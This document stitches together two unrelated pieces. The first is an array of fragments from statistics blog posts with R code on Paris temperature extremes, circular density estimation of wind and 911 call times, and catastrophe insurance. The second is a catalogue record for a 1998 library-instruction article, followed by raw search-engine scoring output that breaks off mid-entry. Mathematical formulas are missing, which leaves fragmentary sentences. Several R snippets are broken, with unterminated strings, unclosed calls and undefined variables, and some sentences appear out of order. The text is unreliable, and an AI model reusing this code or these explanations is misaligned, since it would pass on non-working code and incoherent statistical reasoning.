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[ "# Granularity Issues on Climatic Time Series\n\nAt the Big Data & Environment Workshop, I will give a talk on Granularity Issues on Climatic Time Series. Slides are now online.", null, "# On NCDF Climate Datasets\n\nMid november, a nice workshop on big data and environment will be organized, in Argentina,", null, "We will talk a lot about climate models, and I wanted to play a little bit with those data, stored on http://dods.ipsl.jussieu.fr/mc2ipsl/.\n\n# Climate change and insurance", null, "I will be in Lyon next Monday to give a talk on “Modeling heat-waves: return period for non-stationary extremes” in a workshop entitled “Changement climatique et gestion des risques“. An interesting reference might be some pages from Le Monde (2010). The talk will be more a discussion about modeling series of temperatures (daily temperatures). A starting point might be the IPCC Third Assessment graph which illustrates the effect on extreme temperatures when (a) the mean temperature increases, (b) the variance increases, and (c) when both the mean and variance increase for a normal distribution of temperature.\n\nI will add here some code used to generate some graphs I will comment. The graph below it the daily minimum temperature,\n\n```TEMP=read.table(\"http://freakonometrics.blog.free.fr/\nD=as.Date(as.character(TEMP\\$DATE),\"%Y%m%d\")\nT=TEMP\\$TN/10\nday=as.POSIXlt(D)\\$yday+1\nan=trunc(TEMP\\$DATE/10000)\nplot(D,T,col=\"light blue\",xlab=\"Minimum\ndaily temperature in Paris\",ylab=\"\",cex=.5)\nabline(R,lwd=2,col=\"red\")```", null, "We can clearly see an increasing linear trend. But we do not care (too much) here about the increase of the average temperature, but more dispersion, and tails. Here are decenal box-plots", null, "or quantile-regressions", null, "```library(quantreg)\nPENTESTD=PENTE=rep(NA,99)\nfor(i in 1:99){\nR=rq(T~D,tau=i/100)\nPENTE[i]=R\\$coefficients\nPENTESTD[i]=summary(R)\\$coefficients[2,2]\n}\nm=lm(T~D)\\$coefficients\nplot((1:99)/100,(PENTE/m-1)*100,type=\"b\")\nsegments((1:99)/100,((PENTE-2*PENTESTD)/m-1)*100,\n(1:99)/100,((PENTE+2*PENTESTD)/m-1)*100,\ncol=\"light blue\",lwd=3)\npoints((1:99)/100,(PENTE/m-1)*100,type=\"b\")\nabline(h=0,lty=2,col=\"red\")```\n\nIn order to get a better understanding of the graph above, here are slopes of quantile regressions associated to different probabilities,", null, "The annualized maxima (of minimum temperature, i.e. warmest night of the year)", null, "i.e. the regression of yearly maximas.", null, "tail index of a Generalized Pareto distribution", null, "Instead of looking at observation over a century (the trend is obviously linear), we can focus on seaonal behavior,\n\n```B=data.frame(Y=rep(T,3),X=c(day,day-365,day+365),\nA=rep(an,3))\nlibrary(quantreg)\nlibrary(splines)\nQ50=rq(Y~bs(X,10),data=B,tau=.5)\nQ95=rq(Y~bs(X,10),data=B,tau=.95)\nQ05=rq(Y~bs(X,10),data=B,tau=.05)\nYP95=predict(Q95,newdata=data.frame(X=1:366))\nYP05=predict(Q05,newdata=data.frame(X=1:366))\nI=(T>predict(Q95))|(T<predict(Q05))\nYP50=predict(Q50,newdata=data.frame(X=1:366))\nplot(day[I],T[I],col=\"light blue\",cex=.5)\nlines(1:365,YP95[1:365],col=\"blue\")\nlines(1:365,YP05[1:365],col=\"blue\")\nlines(1:365,YP50[1:365],col=\"blue\",lwd=3)```", null, "with on red series from 1900 till 1920, and on purple from 1990 till 2010. If we remove the linear trend, and the seasonal cycle, here are the residuals, assume to be stationary,", null, "on during the year", null, "Obviously, something has been missed,", null, "The graph below is the volatility of the residual series, within the year,", null, "Instead of looking at volatility, we can focus on tails, with tail index per month,\n\n```mois=as.POSIXlt(D)\\$mon+1\nPmax=Dmax=matrix(NA,12,2)\nfor(s in 1:12){\nX=T3[mois==s]\nFIT=gpd(X,5)\nPmax[s,1:2]=FIT\\$par.ests\nDmax[s,1:2]=FIT\\$par.ses\n}\nplot(1:12,Pmax[,1],type=\"b\",col=\"blue\",\nylim=c(-.6,0))\nsegments(1:12,Pmax[,1]+2*Dmax[,1],1:12,Pmax[,1]-\n2*Dmax[,1],col=\"light blue\",lwd=2)\npoints(1:12,Pmax[,1],col=\"blue\")\ntext(1:12,rep(-.5,12),c(\"JAN\",\"FEV\",\"MARS\",\n\"AVR\",\"MAI\",\"JUIN\",\"JUIL\",\"AOUT\",\"SEPT\",\n\"OCT\",\"NOV\",\"DEV\"),cex=.7)```", null, "At the end of the talk, I will also mention multiple city models, e.g. Paris and Marseille,", null, "If we look at residuals (once we have removed the linear trend and the seasonal cycle) we observe some positive dependence", null, "In order to study (strong) tail dependence, define", null, "for lower left tail and", null, "for upper right tail, where", null, "is the survival copula associated to", null, ", i.e.", null, "and", null, "", null, "It looks like there is no tail dependence (in the uper tail). But it is also possible to study weaker tail dependence, through", null, "and", null, "", null, "Slides can be visualized below, I will upload them soon,\n\n# Circular or spherical data, and density estimation\n\nI few years ago, while I was working on kernel based density estimation on compact support distribution (like copulas) I went through a series of papers on circular distributions. By that time, I thought it was something for mathematicians working on weird spaces…. but during the past weeks, I saw several potential applications of those estimators.\n\n• circular data density estimation\n\nConsider the density of an angle say, i.e. a function", null, "such that", null, "with a circular relationship, i.e.", null, ". It can be seen as an invariance by rotation.\nvon Mises proposed a parametric model in 1918 (see here or there), assuming that", null, "where", null, "is Bessel modified function of order 1,", null, "(which is simply a normalization parameter). There are two parameters here,", null, "(some concentration parameter) and mu a direction.\nFrom a series of observed angles", null, ", the maximum likelihood estimator for kappa is solution of", null, "where", null, "and", null, "and where", null, ", where those functions are modified Bessel functions. Well, that estimator is biased, but it is possible to improve it (see here or there). This can be done easily in R (actually Jeff Gill – here – used that package in several applications). But I am not a big fan of that technique….\n\n• density estimation for hours on simulated data\n\nA nice application can be on the estimation of the daily density of a temporal events (e.g. phone calls as we’ll see later on, or email arrival time). Let", null, "is the time (in hours) for the", null, "th observation (the", null, "th phone call received). Then set", null, "The time is now seen as an angle. It is possible to consider the equivalent of an histogram,\n\n```set.seed(1)\nlibrary(circular)\nX=rbeta(100,shape1=2,shape2=4)*24\nOmega=2*pi*X/24\nOmegat=2*pi*trunc(X)/24\nplot(Ht, stack=FALSE, shrink=1.3, cex=1.03,\npoints(Ht, rotation = \"clock\", zero =c(rad(90)),\ncol = \"1\", cex=1.03, stack=TRUE )\n\nrose.diag(Ht-pi/2,bins=24,shrink=0.33,xlim=c(-2,2),ylim=c(-2,2),\naxes=FALSE,prop=1.5)```", null, "", null, "or a kernel based estimation of the density (the gray line on the right).\n\n```circ.dens = density(Ht+3*pi/2,bw=20)\nplot(Ht, stack=TRUE, shrink=.35, cex=0, sep=0.0,\naxes=FALSE,tol=.8,zero=c(0),bins=24,\nxlim=c(-2,2),ylim=c(-2,2), ticks=TRUE, tcl=.075)\nlines(circ.dens, col=\"darkgrey\", lwd=3)\ntext(0,0.8,\"24\", cex=2); text(0,-0.8,\"12\",cex=2);\ntext(0.8,0,\"6\",cex=2); text(-0.8,0,\"18\",cex=2)```\n\nThe c", null, "ode looks rather simple. But I am not very comfortable using codes that I do not completely understand. So I did my own. The first step was to get a graph similar to the one we have on the right, except that I prefer my own kernel based estimator. The idea is that instead of estimating the density on", null, ", we estimate it on the sample", null, ". Then we multiply by 3 to get the density only on", null, ". For the bandwidth, I took the same as the one that we would have taken on", null, "The code is simply the following\n\n```U=seq(0,1,by=1/250)\nO=U*2*pi\nU12=seq(0,1,by=1/24)\nO12=U12*2*pi\nX=rbeta(100,shape1=2,shape2=4)*24\nOM=2*pi*X/24\nXL=c(X-24,X,X+24)\nd=density(X)\nd=density(XL,bw=d\\$bw,n=1500)\nI=which((d\\$x>=6)&(d\\$x<=30))\nOd=d\\$x[I]/24*2*pi-pi/2\nDd=d\\$y[I]/max(d\\$y)+1\n\nplot(cos(O),-sin(O),xlim=c(-2,2),ylim=c(-2,2), type=\"l\",axes=FALSE,xlab=\"\",ylab=\"\") for(i in pi/12*(0:12)){ abline(a=0,b=tan(i),lty=1,col=\"light yellow\")} segments(.9*cos(O12),.9*sin(O12),1.1*cos(O12),1.1*sin(O12)) lines(Dd*cos(Od),-Dd*sin(Od),col=\"red\",lwd=1.5) text(.7,0,\"6\"); text(-.7,0,\"18\") text(0,-.7,\"12\"); text(0,.7,\"24\") R=1/24/max(d\\$y)/3+1 lines(R*cos(O),R*sin(O),lty=2)```\n\nNote that it is possible to stress more (visually) on hours having few phone calls, or a lot (compared with an homogeneous Poisson process), e.g.\n\n```plot(cos(O),-sin(O),xlim=c(-2,2),ylim=c(-2,2),\ntype=\"l\",axes=FALSE,xlab=\"\",ylab=\"\")\nfor(i in pi/12*(0:12)){\nabline(a=0,b=tan(i),lty=1,col=\"light yellow\")}\nsegments(2*cos(O12),2*sin(O12),1.1*cos(O12),1.1*sin(O12), col=\"light grey\")\nsegments(.9*cos(O12),.9*sin(O12),1.1*cos(O12),1.1*sin(O12))\ntext(.7,0,\"6\")\ntext(-.7,0,\"18\")\ntext(0,-.7,\"12\")\ntext(0,.7,\"24\")\nR=1/24/max(d\\$y)/3+1\nlines(R*cos(O),R*sin(O),lty=2)\nAX=R*cos(Od);AY=-R*sin(Od)\nBX=Dd*cos(Od);BY=-Dd*sin(Od)\nCOUL=rep(\"blue\",length(AX))\nCOUL[R<Dd]=\"red\"\nCM=cm.colors(200)\na=trunc(100*Dd/R)\nCOUL=CM[a]\nsegments(AX,AY,BX,BY,col=COUL,lwd=2)\nlines(Dd*cos(Od),-Dd*sin(Od),lwd=2)```\n\nWe get here those two graphs,", null, "", null, "To be honest, I do not really like that representation – even if it looks nice. If we compare that circular representation to a more classical one (from 0:00 till 23:59 one the graph on the left, below), I do have a problem to interpret the areas in blue and pink.", null, "", null, "density of wind direction\n\nOn the left, we compare two densities, so the area in pink is the same as the area in blue. But here, it is no longer the case: the area in pink is always larger to the one in blue. So it might help so see when we have a difference, but there is a scaling issue that we cannot discuss further… But less us see if we can use that estimation technique to several problems.", null, "A standard application when studying angles is wind direction. For instance, in Montréal, it is possible to find hourly observations, starting in 1974 (we just need a R robot to pick up the information, but I’ll tell more about that in another post, someday). Here, we have directly an angle. So we can use a code rather similar to the one used above to estimate the distribution of wind direction in Montréal.", null, "", null, "density of 911 phone calls\n\nNote that our estimate is consistent with several graphs that can be found on meteorological websites (e.g. the one above on the right, that was found here).\n\nIn a recent post (here) I wanted to check about the “midnight crime” myth, using hours of 911 phone calls in Montréal.", null, "That was for all phone calls. But if we look more specifically, for burglaries, we have the distribution on the left, and for conflicts the one on the right", null, "", null, "We do clearly observe that gun shots occur a bit before midnight. See also here for another study, but this time in NYC (thanks @PAC for the link).while for gun shots, we have the distribution on the left, and for “troubles” (basically people making too much noisy in parties) or “noise” the one on the right\n\n• density of earth temperatures, or earthquakes\n\nOf course it is also possible to work in higher dimension. Before, we went from densities on", null, "to densities on the unit circle", null, ". But similarly, it is possible to go from", null, "to the unit sphere", null, ". A nice application being global climate studies,", null, "The idea being that point on the left above are extremely close to the one on the right. An application can be e.g. on earthquakes occurrence. Data can be found here.\n\n```library(ks)\nX=cbind(EQ\\$Longitude,EQ\\$Latitude)\nHpi1 = Hpi(x = X)\nDX=kde(x = X, H = Hpi1)\nlibrary(maps)\nmap(\"world\")\npoints(X,cex=.2,col=\"blue\")\nY=rbind(cbind(X[,1],X[,2]),cbind(X[,1]+360,X[,2]),\ncbind(X[,1]-360,X[,2]),cbind(X[,1],X[,2]+180),\ncbind(X[,1]+360,X[,2]+180),cbind(X[,1]-360,X[,2]+180), cbind(X[,1],X[,2]-180),cbind(X[,1]+360, X[,2]-180),cbind(X[,1]-360,X[,2]-180)) DY=kde(x = Y, H = Hpi1) library(maps) plot (DY,add=TRUE,col=\"purple\")```\n\nWithout any correction, we get the red level curves. The pink one integrates correction.", null, "# More climate extremes, or simply global warming ?", null, "In the paper on the heat wave in Paris (mentioned here) I discussed changes in the distribution of temperature (and autocorrelation of the time series).\n\nDuring the workshop on Statistical Methods for Meteorology and Climate Change today (here) I observed that it was still an important question: is climate change affecting only averages, or does it have an impact on extremes ? And since I’ve seen nice slides to illustrate that question, I decided to play again with my dataset to see what could be said about temperature in Paris.\nRecall that data can be downloaded here (daily temperature of the XXth century).\n\n```tmaxparis=read.table(\"/temperature/TX_SOUID100124.txt\",\nDmaxparis=as.Date(as.character(tmaxparis\\$DATE),\"%Y%m%d\")\nTmaxparis=as.numeric(tmaxparis\\$TX)/10\nDminparis=as.Date(as.character(tminparis\\$DATE),\"%Y%m%d\")\nTminparis=as.numeric(tminparis\\$TN)/10\nTminparis[Tminparis==-999.9]=NA\nTmaxparis[Tmaxparis==-999.9]=NA\nannee=trunc(tminparis\\$DATE/10000)\nMIN=tapply(Tminparis,annee,min)\nplot(unique(annee),MIN,col=\"blue\",ylim=c(-15,40),xlim=c(1900,2000))\nabline(lm(MIN~unique(annee)),col=\"blue\")\nabline(lm(Tminparis~unique(Dminparis)),col=\"blue\",lty=2)\nannee=trunc(tmaxparis\\$DATE/10000)\nMAX=tapply(Tmaxparis,annee,max)\npoints(unique(annee),MAX,col=\"red\")\nabline(lm(MAX~unique(annee)),col=\"red\")\nabline(lm(Tmaxparis~unique(Dmaxparis)),col=\"red\",lty=2)```\n\nOn the plot below, the dots in red are the annual maximum temperatures, while the dots in blue are the annual minimum temperature. The plain line is the regression line (based on the annual max/min), and the dotted lines represent the average maximum/minimum daily temperature (to illustrate the global tendency),", null, "It is also possible to look at annual boxplot, and to focus either on minimas, or on maximas.\n\n```annee=trunc(tminparis\\$DATE/10000)\nboxplot(Tminparis~as.factor(annee),ylim=c(-15,10),\nxlab=\"Year\",ylab=\"Temperature\",col=\"blue\")\nx=boxplot(Tminparis~as.factor(annee),plot=FALSE)\nxx=1:length(unique(annee))\npoints(xx,x\\$stats[1,],pch=19,col=\"blue\")\nabline(lm(x\\$stats[1,]~xx),col=\"blue\")\nannee=trunc(tmaxparis\\$DATE/10000)\nboxplot(Tmaxparis~as.factor(annee),ylim=c(15,40),\nxlab=\"Year\",ylab=\"Temperature\",col=\"red\")\nx=boxplot(Tmaxparis~as.factor(annee),plot=FALSE)\nxx=1:length(unique(annee))\npoints(xx,x\\$stats[5,],pch=19,col=\"red\")\nabline(lm(x\\$stats[5,]~xx),col=\"red\")```\n\nPlain dots are average temperature below the 5% quantile for minima, or over the 95% quantile for maxima (again with the regression line),", null, "", null, "We can observe an increasing trend on the minimas, but not on the maximas !\nFinally, an alternative is to remember that we focus on annual maximas and minimas. Thus, Fisher and Tippett theory (mentioned here) can be used. Here, we fit a GEV distribution on a blog of 10 consecutive years. Recall that the GEV distribution is", null, "```install.packages(\"evir\")\nlibrary(evir)\nPmin=Dmin=Pmax=Dmax=matrix(NA,10,3)\nfor(s in 1:10){\nX=MIN[1:10+(s-1)*10]\nFIT=gev(-X)\nPmin[s,]=FIT\\$par.ests\nDmin[s,]=FIT\\$par.ses\nX=MAX[1:10+(s-1)*10]\nFIT=gev(X)\nPmax[s,]=FIT\\$par.ests\nDmax[s,]=FIT\\$par.ses\n}```\n\nThe location parameter", null, "is the following, with on the left the minimas and on the right the maximas,", null, "while the scale parameter", null, "is", null, "and finally the shape parameter", null, "is", null, "On those graphs, it is very difficult to say anything regarding changes in temperature extremes… And I guess this is a reason why there is still active research on that area…\n\n# Insurance and reinsurance of natural catastrophes", null, "Conférence Insurance and Adaptation to Climate Change, Paris, Mars 2007. The paper appeared in the Geneva Papers.\n\nThe IPCC 2007 report noted that both the frequency and strength of hurricanes, floods and droughts have increased during the past few years. Thus, climate risk, and more specifically natural catastrophes, are now hardly insurable: losses can be huge (and the actuarial pure premium might even be infinite), diversification through the central limit theorem is not possible because of geographical correlation (a lot of additional capital is required), there might exist no insurance market since the price asked by insurance companies can be much higher than the price householders are willing to pay (short-term horizon of policyholders), and, due to climate change, there is more uncertainty (and thus additional risk). The first idea we will discuss in this paper, about insurance markets and climate risks, is that insurance exists only if risk can be transferred, not only to reinsurance companies but also to capital markets (through securitization or catastrophes options). The second one is that climate is changing, and therefore, not only prices and capital required should be important, but also uncertainty can be very large. It is extremely difficult to insure in a changing environment.\n\nThe paper was presented in a conference, in Paris, in 2007", null, "" ]

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[ "# Document (#19402)\n\nAuthor\nKaplowitz, J.\nContini, J.\nTitle\nComputer-assisted instruction : is it an option for bibliographic instruction in large undergraduate survey classes?\nSource\nCollege and research libraries. 59(1998) no.1, S.19-27\nYear\n1998\nAbstract\nDescribes how librarians at the Louise M. Darling Biomedical Library, California University Los Angeles (UCLA), developed a library user training programme, based on computer assisted instruction, for the 800 to 900 undergraduate biology students per year who enrol in the department's basic, compulsory, introductory course. Compares the effectiveness of computer assisted instruction with the lecture method, using a range of techniques, including a follow up survey. Concludes that computer assisted instruction in combination with the laboratory manual is an effective and user friendly way of offering user training\nTheme\nComputer Based Training\nInformationsdienstleistungen\n\n## Similar documents (content)\n\n1. Azzaro, S.; Cleary, K.: Developing a computer-assisted learning package for end-users (1994) 0.30\n```0.29513857 = sum of:\n0.29513857 = product of:\n1.0540663 = sum of:\n0.017652638 = weight(abstract_txt:library in 2512) [ClassicSimilarity], result of:\n0.017652638 = score(doc=2512,freq=1.0), product of:\n0.050670005 = queryWeight, product of:\n1.0825118 = boost\n3.1852286 = idf(docFreq=4863, maxDocs=43254)\n0.014695276 = queryNorm\n0.34838438 = fieldWeight in 2512, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n3.1852286 = idf(docFreq=4863, maxDocs=43254)\n0.109375 = fieldNorm(doc=2512)\n0.095000945 = weight(abstract_txt:survey in 2512) [ClassicSimilarity], result of:\n0.095000945 = score(doc=2512,freq=2.0), product of:\n0.12350556 = queryWeight, product of:\n1.6900533 = boost\n4.9728847 = idf(docFreq=813, maxDocs=43254)\n0.014695276 = queryNorm\n0.7692038 = fieldWeight in 2512, product of:\n1.4142135 = tf(freq=2.0), with freq of:\n2.0 = termFreq=2.0\n4.9728847 = idf(docFreq=813, maxDocs=43254)\n0.109375 = fieldNorm(doc=2512)\n0.07378651 = weight(abstract_txt:training in 2512) [ClassicSimilarity], result of:\n0.07378651 = score(doc=2512,freq=1.0), product of:\n0.13148086 = queryWeight, product of:\n1.7437668 = boost\n5.1309333 = idf(docFreq=694, maxDocs=43254)\n0.014695276 = queryNorm\n0.56119585 = fieldWeight in 2512, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n5.1309333 = idf(docFreq=694, maxDocs=43254)\n0.109375 = fieldNorm(doc=2512)\n0.04080748 = weight(abstract_txt:user in 2512) [ClassicSimilarity], result of:\n0.04080748 = score(doc=2512,freq=1.0), product of:\n0.10140705 = queryWeight, product of:\n1.8755854 = boost\n3.6792014 = idf(docFreq=2967, maxDocs=43254)\n0.014695276 = queryNorm\n0.40241265 = fieldWeight in 2512, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n3.6792014 = idf(docFreq=2967, maxDocs=43254)\n0.109375 = fieldNorm(doc=2512)\n0.08775705 = weight(abstract_txt:computer in 2512) [ClassicSimilarity], result of:\n0.08775705 = score(doc=2512,freq=1.0), product of:\n0.18595558 = queryWeight, product of:\n2.9327617 = boost\n4.314741 = idf(docFreq=1571, maxDocs=43254)\n0.014695276 = queryNorm\n0.4719248 = fieldWeight in 2512, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n4.314741 = idf(docFreq=1571, maxDocs=43254)\n0.109375 = fieldNorm(doc=2512)\n0.40354317 = weight(abstract_txt:assisted in 2512) [ClassicSimilarity], result of:\n0.40354317 = score(doc=2512,freq=1.0), product of:\n0.5142187 = queryWeight, product of:\n4.876925 = boost\n7.1750355 = idf(docFreq=89, maxDocs=43254)\n0.014695276 = queryNorm\n0.78476954 = fieldWeight in 2512, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n7.1750355 = idf(docFreq=89, maxDocs=43254)\n0.109375 = fieldNorm(doc=2512)\n0.33551848 = weight(abstract_txt:instruction in 2512) [ClassicSimilarity], result of:\n0.33551848 = score(doc=2512,freq=1.0), product of:\n0.4897813 = queryWeight, product of:\n5.321429 = boost\n6.263199 = idf(docFreq=223, maxDocs=43254)\n0.014695276 = queryNorm\n0.6850374 = fieldWeight in 2512, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n6.263199 = idf(docFreq=223, maxDocs=43254)\n0.109375 = fieldNorm(doc=2512)\n0.28 = coord(7/25)\n```\n2. Wood, A.D.G.: Instructional technology in the business environment (1995) 0.28\n```0.27764037 = sum of:\n0.27764037 = product of:\n1.7352524 = sum of:\n0.08161496 = weight(abstract_txt:user in 110) [ClassicSimilarity], result of:\n0.08161496 = score(doc=110,freq=1.0), product of:\n0.10140705 = queryWeight, product of:\n1.8755854 = boost\n3.6792014 = idf(docFreq=2967, maxDocs=43254)\n0.014695276 = queryNorm\n0.8048253 = fieldWeight in 110, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n3.6792014 = idf(docFreq=2967, maxDocs=43254)\n0.21875 = fieldNorm(doc=110)\n0.1755141 = weight(abstract_txt:computer in 110) [ClassicSimilarity], result of:\n0.1755141 = score(doc=110,freq=1.0), product of:\n0.18595558 = queryWeight, product of:\n2.9327617 = boost\n4.314741 = idf(docFreq=1571, maxDocs=43254)\n0.014695276 = queryNorm\n0.9438496 = fieldWeight in 110, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n4.314741 = idf(docFreq=1571, maxDocs=43254)\n0.21875 = fieldNorm(doc=110)\n0.80708635 = weight(abstract_txt:assisted in 110) [ClassicSimilarity], result of:\n0.80708635 = score(doc=110,freq=1.0), product of:\n0.5142187 = queryWeight, product of:\n4.876925 = boost\n7.1750355 = idf(docFreq=89, maxDocs=43254)\n0.014695276 = queryNorm\n1.5695391 = fieldWeight in 110, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n7.1750355 = idf(docFreq=89, maxDocs=43254)\n0.21875 = fieldNorm(doc=110)\n0.67103696 = weight(abstract_txt:instruction in 110) [ClassicSimilarity], result of:\n0.67103696 = score(doc=110,freq=1.0), product of:\n0.4897813 = queryWeight, product of:\n5.321429 = boost\n6.263199 = idf(docFreq=223, maxDocs=43254)\n0.014695276 = queryNorm\n1.3700747 = fieldWeight in 110, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n6.263199 = idf(docFreq=223, maxDocs=43254)\n0.21875 = fieldNorm(doc=110)\n0.16 = coord(4/25)\n```\n3. Niemeyer, C.: Authorware for computer-assisted instruction (1997) 0.22\n```0.21986742 = sum of:\n0.21986742 = product of:\n1.0993371 = sum of:\n0.028530972 = weight(abstract_txt:library in 2506) [ClassicSimilarity], result of:\n0.028530972 = score(doc=2506,freq=2.0), product of:\n0.050670005 = queryWeight, product of:\n1.0825118 = boost\n3.1852286 = idf(docFreq=4863, maxDocs=43254)\n0.014695276 = queryNorm\n0.5630742 = fieldWeight in 2506, product of:\n1.4142135 = tf(freq=2.0), with freq of:\n2.0 = termFreq=2.0\n3.1852286 = idf(docFreq=4863, maxDocs=43254)\n0.125 = fieldNorm(doc=2506)\n0.08432744 = weight(abstract_txt:training in 2506) [ClassicSimilarity], result of:\n0.08432744 = score(doc=2506,freq=1.0), product of:\n0.13148086 = queryWeight, product of:\n1.7437668 = boost\n5.1309333 = idf(docFreq=694, maxDocs=43254)\n0.014695276 = queryNorm\n0.64136666 = fieldWeight in 2506, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n5.1309333 = idf(docFreq=694, maxDocs=43254)\n0.125 = fieldNorm(doc=2506)\n0.14183682 = weight(abstract_txt:computer in 2506) [ClassicSimilarity], result of:\n0.14183682 = score(doc=2506,freq=2.0), product of:\n0.18595558 = queryWeight, product of:\n2.9327617 = boost\n4.314741 = idf(docFreq=1571, maxDocs=43254)\n0.014695276 = queryNorm\n0.7627457 = fieldWeight in 2506, product of:\n1.4142135 = tf(freq=2.0), with freq of:\n2.0 = termFreq=2.0\n4.314741 = idf(docFreq=1571, maxDocs=43254)\n0.125 = fieldNorm(doc=2506)\n0.46119216 = weight(abstract_txt:assisted in 2506) [ClassicSimilarity], result of:\n0.46119216 = score(doc=2506,freq=1.0), product of:\n0.5142187 = queryWeight, product of:\n4.876925 = boost\n7.1750355 = idf(docFreq=89, maxDocs=43254)\n0.014695276 = queryNorm\n0.89687943 = fieldWeight in 2506, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n7.1750355 = idf(docFreq=89, maxDocs=43254)\n0.125 = fieldNorm(doc=2506)\n0.3834497 = weight(abstract_txt:instruction in 2506) [ClassicSimilarity], result of:\n0.3834497 = score(doc=2506,freq=1.0), product of:\n0.4897813 = queryWeight, product of:\n5.321429 = boost\n6.263199 = idf(docFreq=223, maxDocs=43254)\n0.014695276 = queryNorm\n0.78289986 = fieldWeight in 2506, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n6.263199 = idf(docFreq=223, maxDocs=43254)\n0.125 = fieldNorm(doc=2506)\n0.2 = coord(5/25)\n```\n4. Dixon, L.: Building library skills : computer assisted instruction for undergraduates (1995) 0.21\n```0.21301594 = sum of:\n0.21301594 = product of:\n0.88756645 = sum of:\n0.04771171 = weight(abstract_txt:programme in 2520) [ClassicSimilarity], result of:\n0.04771171 = score(doc=2520,freq=1.0), product of:\n0.08648001 = queryWeight, product of:\n5.884885 = idf(docFreq=326, maxDocs=43254)\n0.014695276 = queryNorm\n0.551708 = fieldWeight in 2520, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n5.884885 = idf(docFreq=326, maxDocs=43254)\n0.09375 = fieldNorm(doc=2520)\n0.015130833 = weight(abstract_txt:library in 2520) [ClassicSimilarity], result of:\n0.015130833 = score(doc=2520,freq=1.0), product of:\n0.050670005 = queryWeight, product of:\n1.0825118 = boost\n3.1852286 = idf(docFreq=4863, maxDocs=43254)\n0.014695276 = queryNorm\n0.2986152 = fieldWeight in 2520, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n3.1852286 = idf(docFreq=4863, maxDocs=43254)\n0.09375 = fieldNorm(doc=2520)\n0.1160221 = weight(abstract_txt:lecture in 2520) [ClassicSimilarity], result of:\n0.1160221 = score(doc=2520,freq=1.0), product of:\n0.15638421 = queryWeight, product of:\n1.3447409 = boost\n7.913645 = idf(docFreq=42, maxDocs=43254)\n0.014695276 = queryNorm\n0.7419042 = fieldWeight in 2520, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n7.913645 = idf(docFreq=42, maxDocs=43254)\n0.09375 = fieldNorm(doc=2520)\n0.07522033 = weight(abstract_txt:computer in 2520) [ClassicSimilarity], result of:\n0.07522033 = score(doc=2520,freq=1.0), product of:\n0.18595558 = queryWeight, product of:\n2.9327617 = boost\n4.314741 = idf(docFreq=1571, maxDocs=43254)\n0.014695276 = queryNorm\n0.40450698 = fieldWeight in 2520, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n4.314741 = idf(docFreq=1571, maxDocs=43254)\n0.09375 = fieldNorm(doc=2520)\n0.34589413 = weight(abstract_txt:assisted in 2520) [ClassicSimilarity], result of:\n0.34589413 = score(doc=2520,freq=1.0), product of:\n0.5142187 = queryWeight, product of:\n4.876925 = boost\n7.1750355 = idf(docFreq=89, maxDocs=43254)\n0.014695276 = queryNorm\n0.6726596 = fieldWeight in 2520, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n7.1750355 = idf(docFreq=89, maxDocs=43254)\n0.09375 = fieldNorm(doc=2520)\n0.28758729 = weight(abstract_txt:instruction in 2520) [ClassicSimilarity], result of:\n0.28758729 = score(doc=2520,freq=1.0), product of:\n0.4897813 = queryWeight, product of:\n5.321429 = boost\n6.263199 = idf(docFreq=223, maxDocs=43254)\n0.014695276 = queryNorm\n0.5871749 = fieldWeight in 2520, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n6.263199 = idf(docFreq=223, maxDocs=43254)\n0.09375 = fieldNorm(doc=2520)\n0.24 = coord(6/25)\n```\n5. Ercegovac, Z.: Information Access Instruction (IAI4) : design principles (1995) 0.21\n```0.20553048 = sum of:\n0.20553048 = product of:\n0.856377 = sum of:\n0.056731325 = weight(abstract_txt:course in 3189) [ClassicSimilarity], result of:\n0.056731325 = score(doc=3189,freq=1.0), product of:\n0.08758233 = queryWeight, product of:\n1.0063531 = boost\n5.922272 = idf(docFreq=314, maxDocs=43254)\n0.014695276 = queryNorm\n0.64774853 = fieldWeight in 3189, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n5.922272 = idf(docFreq=314, maxDocs=43254)\n0.109375 = fieldNorm(doc=3189)\n0.08615581 = weight(abstract_txt:california in 3189) [ClassicSimilarity], result of:\n0.08615581 = score(doc=3189,freq=1.0), product of:\n0.11571534 = queryWeight, product of:\n1.156745 = boost\n6.8073106 = idf(docFreq=129, maxDocs=43254)\n0.014695276 = queryNorm\n0.7445496 = fieldWeight in 3189, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n6.8073106 = idf(docFreq=129, maxDocs=43254)\n0.109375 = fieldNorm(doc=3189)\n0.15468523 = weight(abstract_txt:angeles in 3189) [ClassicSimilarity], result of:\n0.15468523 = score(doc=3189,freq=1.0), product of:\n0.1709361 = queryWeight, product of:\n1.4059149 = boost\n8.273647 = idf(docFreq=29, maxDocs=43254)\n0.014695276 = queryNorm\n0.9049302 = fieldWeight in 3189, product of:\n1.0 = tf(freq=1.0), with freq of:\n1.0 = termFreq=1.0\n8.273647 = idf(docFreq=29, maxDocs=43254)\n0.109375 = fieldNorm(doc=3189)\n0.04080748 = weight(abstract_txt:user in 3189) [ClassicSimilarity], result of:\n0.04080748 = 